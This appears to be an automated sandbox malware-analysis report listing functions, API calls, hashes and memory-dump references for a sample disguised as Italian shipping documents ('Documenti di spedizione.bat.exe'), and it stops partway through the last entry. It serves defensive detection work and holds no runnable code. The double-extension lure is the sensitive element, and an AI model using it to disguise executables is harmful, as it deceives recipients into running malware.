Opcode Fuzzy Hash: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
Instruction Fuzzy Hash: 43512536D04159AEFB55DFB488A4AEEBBF6EF453C0F124169E841B315DCA306E4087D2

Function 00401D3B Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401D3F
GetClientRect.USER32(00000000,?), ref: 00401D4C
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D6D
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D7B
DeleteObject.GDI32(00000000), ref: 00401D8A

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: b98f244c4997ac906f623e123468edec3404108b831d84f192b6a7b6dae47352
Instruction ID: 3a73a5ecaa8fddf8dab02391599d10e6f088d4e67d6af50185a53a7dc2f76cba
Opcode Fuzzy Hash: b98f244c4997ac906f623e123468edec3404108b831d84f192b6a7b6dae47352
Instruction Fuzzy Hash: D6F0FFB2A04119BFDB11EBA4DE88DAFBBBCEB44301B104476F601F2191C6749D018B79

Function 00405969 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004032AC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 0040596F
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004032AC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 00405978
lstrcatA.KERNEL32(?,00409014), ref: 00405989

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405969

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction ID: 4e6a192690b432b60a96f5238a9074c153a0d937d76e079e8aa32f917c06b110
Opcode Fuzzy Hash: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction Fuzzy Hash: 7FD0A9A2A09930AAD31222158C05EAB6A4CCF42310B0A0062F200B22E2C77C0D418BFE

Function 00405A02 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,?,C:\,?,00405A6E,C:\,C:\,75923410,?,75922EE0,004057B9,?,75923410,75922EE0,00000000), ref: 00405A10
CharNextA.USER32(00000000), ref: 00405A15
CharNextA.USER32(00000000), ref: 00405A29

Strings

C:\, xrefs: 00405A03

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CharNext
String ID: C:\
API String ID: 3213498283-3404278061
Opcode ID: c01f0a1332e094523614662ca2a683f3687d2570a221d834ee5f6cec315170af
Instruction ID: f957f906ea029efbd3510901c55ab9b0ae73d09d1d9c73be6bc34f8378a19dae
Opcode Fuzzy Hash: c01f0a1332e094523614662ca2a683f3687d2570a221d834ee5f6cec315170af
Instruction Fuzzy Hash: C2F0C291B04FA06FFB32A2681C84F775A88CB55710F04116BE180662C2C2785C418F9A

Function 00403785 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(000002A0,C:\Users\user\AppData\Local\Temp\,004035BC,?), ref: 00403797
CloseHandle.KERNEL32(000002D0,C:\Users\user\AppData\Local\Temp\,004035BC,?), ref: 004037AB

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040378A
C:\Users\user\AppData\Local\Temp\nsgDADD.tmp, xrefs: 004037BB

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsgDADD.tmp
API String ID: 2962429428-1412976865
Opcode ID: 8243f35e0eeb5762c06f3a20855541ba65908ed27c56bedd9f13c791d511c691
Instruction ID: 4fe8f3727f95cb8dfcfe97d6293448c3a92072a7c91c92fe8e25374afea9a46a
Opcode Fuzzy Hash: 8243f35e0eeb5762c06f3a20855541ba65908ed27c56bedd9f13c791d511c691
Instruction Fuzzy Hash: E6E08CB0900620DAC524AF7CBD859463B289B41335760C726F578F30F2C338AE875AAC

Function 00405084 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004050B3
CallWindowProcA.USER32(?,?,?,?), ref: 00405104

Part of subcall function 00404128: SendMessageA.USER32(0001048C,00000000,00000000,00000000), ref: 0040413A

Strings

, xrefs: 00405094

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 0b9e3fe4afe9fd5950d24fc38bd805c0ffc83546a9c92a8d1e346af401a4be56
Instruction ID: e292fc6bb5149b142bd52d3e096dd2ae09329e4c6d4eed70fd370e7000aba408
Opcode Fuzzy Hash: 0b9e3fe4afe9fd5950d24fc38bd805c0ffc83546a9c92a8d1e346af401a4be56
Instruction Fuzzy Hash: B2018F71504609ABDF205F11ED84AEF3765EB84750F208037FA01B92D1C77A9D92AFAE

Function 004059B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402DB6,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Documenti di spedizione.bat.exe,C:\Users\user\Desktop\Documenti di spedizione.bat.exe,80000000,00000003), ref: 004059B6
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402DB6,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Documenti di spedizione.bat.exe,C:\Users\user\Desktop\Documenti di spedizione.bat.exe,80000000,00000003), ref: 004059C4

Strings

C:\Users\user\Desktop, xrefs: 004059B0

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1246513382
Opcode ID: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction ID: 4c364b2a586e3df4272a597733e657329f4de9264f8513980004e000b8aa575c
Opcode Fuzzy Hash: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction Fuzzy Hash: 82D0C7E2419E709EF30352549D04B9F6E98DF16750F0A14A2F141E6192D77C5D418BAD

Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000115B
GlobalFree.KERNEL32(00000000), ref: 100011B4
GlobalFree.KERNEL32(?), ref: 100011C7
GlobalFree.KERNEL32(?), ref: 100011F5

Memory Dump Source

Source File: 00000000.00000002.2629006314.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2628993182.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629018868.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629030864.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Documenti di spedizione.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction ID: 5d3a3765e571093bf703368c32e31ec5bfeafbef09712c331e02e9e13643e521
Opcode Fuzzy Hash: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction Fuzzy Hash: 6531ABB1808255AFF715CFA8DC89AEA7FE8EB052C1B164115FA45D726CDB34D910CB24

Function 00405ACF Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405ADF
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405AF7
CharNextA.USER32(00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B08
lstrlenA.KERNEL32(00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B11

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: ca0b18bb87844b4bf03c2f7d3918b69422ab9094ff5260ece92dc9b1c2472986
Instruction ID: b8bae3ead32ec2695fa88c6f2b94aa478c41e31f8fdb951db119f3f4d21ee890
Opcode Fuzzy Hash: ca0b18bb87844b4bf03c2f7d3918b69422ab9094ff5260ece92dc9b1c2472986
Instruction Fuzzy Hash: C1F0C231605518BFCB029FA5DC4099FBBB8EF46350B2140A5F800F7250D274FE019BA9

Analysis Process: Documenti di spedizione.bat.exePID: 6360, Parent PID: 1216COMMON

Execution Graph

Execution Coverage:	8.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	28
Total number of Limit Nodes:	3

Executed Functions

Function 38CF3158 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 38CF3887
$]q, xrefs: 38CF3857
$]q, xrefs: 38CF387B
$]q, xrefs: 38CF382E
$]q, xrefs: 38CF3863
$]q, xrefs: 38CF383A

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 177ab404b5b4881254e218298f8e1afe9ba83de0964f3136134e96b6f12f02f0
Instruction ID: 913845c5daab5f7adad0906ee2ab69fba221650be5d52f5be40e4626b19040b0
Opcode Fuzzy Hash: 177ab404b5b4881254e218298f8e1afe9ba83de0964f3136134e96b6f12f02f0
Instruction Fuzzy Hash: 5C324E30E1071ADFDB15DF75C89459DB7B2BFC9304F60C66AD449A7224EB30A986CB90

Function 000DAAAB Relevance: 2.8, Instructions: 2766COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8752a67370720325fca99aec47b1e67fd38c5eaa548922f61455759627e25c05
Instruction ID: ff14fcaa0279cd1e3b357bd317a1510cb2d3483c81ca3fb736472b03d23949ef
Opcode Fuzzy Hash: 8752a67370720325fca99aec47b1e67fd38c5eaa548922f61455759627e25c05
Instruction Fuzzy Hash: AA53F731D10B1A8ADB51EF68C8546A9F7B1FF99300F11D79AE05877221EB70AAD4CF81

Function 000DA214 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8172c927c95ad5131785ed80172af6a2e146f60e004ae0f1103c5307eb43828a
Instruction ID: 0333ec5e130e2ed3166e352952ecdf85e61bd8a3b7ff81daf52802a944c61bdf
Opcode Fuzzy Hash: 8172c927c95ad5131785ed80172af6a2e146f60e004ae0f1103c5307eb43828a
Instruction Fuzzy Hash: F2D19D34B002058FCB54DFA9D594AAEB7F2EF89310F24842AE506E73A5DB35DD42CB52

Function 000D4188 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6f0a1c36a20f3c3990172a8acc1ed864f5d3441f0649fd0c08fadcb7f549ed3
Instruction ID: 6384783132af37a57446a810513d050a34af30d5a1330dca46c444541eb633bd
Opcode Fuzzy Hash: a6f0a1c36a20f3c3990172a8acc1ed864f5d3441f0649fd0c08fadcb7f549ed3
Instruction Fuzzy Hash: 61B13F70E00309CFDF54CFA9D9857ADBBF2AF88314F14812AE819A7354EB749985CB91

Function 000D4A58 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 025f5cd62e62d0a00ec965c0145d2ee379cc1e27b0960e290a92bf13eb413195
Instruction ID: 48b13a75c1345474223443e127fd492f1453bac839e51c8e8b88ec4016115470
Opcode Fuzzy Hash: 025f5cd62e62d0a00ec965c0145d2ee379cc1e27b0960e290a92bf13eb413195
Instruction Fuzzy Hash: DDB12C70E003098FDF54CFA9C98579DBBF2AF88714F14812AD819EB354EB749885CB95

Function 000D3E40 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c13bf43942db07feffd93b38945ac961470e38bfa21b4263394582ca3319b0b
Instruction ID: e45ed5d3e2d4e8273f67816244d05afd2b152a0496c920e0b53731f28532cf9f
Opcode Fuzzy Hash: 4c13bf43942db07feffd93b38945ac961470e38bfa21b4263394582ca3319b0b
Instruction Fuzzy Hash: 9F914C70E00309DFDF54CFA9C98579DBBF2AF88314F14812AE415A7394EB749985CBA2

Function 38CE3202 Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 38CE328E
GetCurrentThread.KERNEL32 ref: 38CE32CB
GetCurrentProcess.KERNEL32 ref: 38CE3308
GetCurrentThreadId.KERNEL32 ref: 38CE3361

Memory Dump Source

Source File: 00000004.00000002.3268996018.0000000038CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ce0000_Documenti di spedizione.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 07898e9171b2a2eada02c24b2931586d785f80c8187813b8ab57ebd4427f4ac0
Instruction ID: 968692cbd00f87bdaad0275f1c63cb69c194073fd735222da4094257e02d04c8
Opcode Fuzzy Hash: 07898e9171b2a2eada02c24b2931586d785f80c8187813b8ab57ebd4427f4ac0
Instruction Fuzzy Hash: 915144B09002498FDB04DFA9D548BAEBBF1EF88300F208459E499B7260D738A945CF65

Function 38CE3210 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 38CE328E
GetCurrentThread.KERNEL32 ref: 38CE32CB
GetCurrentProcess.KERNEL32 ref: 38CE3308
GetCurrentThreadId.KERNEL32 ref: 38CE3361

Memory Dump Source

Source File: 00000004.00000002.3268996018.0000000038CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ce0000_Documenti di spedizione.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: fda579bc30badd560091e493ef595c0b4a9ba25334958b756fea3b7778091634
Instruction ID: f2ded6ba54c519c45f5fd06df51c9614ea0eb40d516ef53efa7fc9162e1e62b1
Opcode Fuzzy Hash: fda579bc30badd560091e493ef595c0b4a9ba25334958b756fea3b7778091634
Instruction Fuzzy Hash: B15133B09006498FDB04DFAAD648BEEBBF5FF88310F208459E459B7260D738A945CF65

Function 38CF9210 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 38CF928C
$]q, xrefs: 38CF92C7
$]q, xrefs: 38CF92BB
$]q, xrefs: 38CF9280

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 6a69aa9571e82a2b6f5c94fc7853375e89f703af9e8c3b1e3f865397cf53b920
Instruction ID: ad9708f9c76f15a8db70237aaa2753718e113a52676e3ce7f0ac3fc522425977
Opcode Fuzzy Hash: 6a69aa9571e82a2b6f5c94fc7853375e89f703af9e8c3b1e3f865397cf53b920
Instruction Fuzzy Hash: 12914E74B0020A8FEB54DF69D850B9EB3F6BF84744F10856AC909EB345EA319D478B92

Function 38CFD008 Relevance: 4.6, Strings: 3, Instructions: 801
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 38CFD407
$]q, xrefs: 38CFD3FF
$]q, xrefs: 38CFD413

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q
API String ID: 0-182748909
Opcode ID: 0ceb518ef56541092157e8721f88047183a2c2c633965cd3277f4a68cb0ee3d5
Instruction ID: 148a921316007bca9ede00d2d8ef15e40f411201a83b6b4964d898955290c00c
Opcode Fuzzy Hash: 0ceb518ef56541092157e8721f88047183a2c2c633965cd3277f4a68cb0ee3d5
Instruction Fuzzy Hash: 54623A30A0020A8FDB55DF68D590A4DB7B6FF84344B208A79D109EF269DB79ED47CB81

Function 38CF4C68 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fbq, xrefs: 38CF4C93
\Obq, xrefs: 38CF4E43
XPbq, xrefs: 38CF4DB9

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: fbq$XPbq$\Obq
API String ID: 0-4057264190
Opcode ID: 52fab6b93de1bf181df9957c40b0be428d04a5e2ecdb393c2a605e6fa49f5d86
Instruction ID: 36e3ff54520e23eff5a956298a4995c8b64ee28e3d9286e52d76c9e6981c659f
Opcode Fuzzy Hash: 52fab6b93de1bf181df9957c40b0be428d04a5e2ecdb393c2a605e6fa49f5d86
Instruction Fuzzy Hash: 4D616E30A002089FEB549FA5C855B9EBBF6FF88300F208529E109EB395DB758D46CF91

Function 38CF8138 Relevance: 2.7, Strings: 2, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 38CF83DB
$]q, xrefs: 38CF83E7

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: a8ca7f33403e4f8e97946ddfab173c6149f2ecbfd5686bbc14bd01a2ce023a53
Instruction ID: 249370cb3d9d5dd62eddca6bb19ff59f21f2e8ffa0cdbe16ce8410c6d26f056c
Opcode Fuzzy Hash: a8ca7f33403e4f8e97946ddfab173c6149f2ecbfd5686bbc14bd01a2ce023a53
Instruction Fuzzy Hash: 2C918C34B002068BEB58DF79D49066EB7A6FF84344F108539D909EB3A4DB76EC478B91

Function 38CFAFE8 Relevance: 2.7, Strings: 2, Instructions: 215
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XM, xrefs: 38CFB169
XM, xrefs: 38CFB24A

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: XM$XM
API String ID: 0-1114951136
Opcode ID: ec869627c2aeacd45e0f73c7c0403a7921758377d1dda7d0aa16033a1fba32e2
Instruction ID: 2e9105daa6462e55359f16a6cfb540be3cbb526bc54f16106818d7c4b94b09c6
Opcode Fuzzy Hash: ec869627c2aeacd45e0f73c7c0403a7921758377d1dda7d0aa16033a1fba32e2
Instruction Fuzzy Hash: 44715C34E0030A8BDB58DFA9D490A9EB7B6FF85304F608639D409EB354EB75D9478B81

Function 38CF920C Relevance: 2.7, Strings: 2, Instructions: 167
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 38CF92BB
$]q, xrefs: 38CF9280

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: a2616179692c4e1abb879225b178bf75b2af5c8479e94edae9af581abfaaa7dc
Instruction ID: 97e8c49ddf45840a6fa48a0ffd0af367ca971161cff135a42e885f7b91f23082
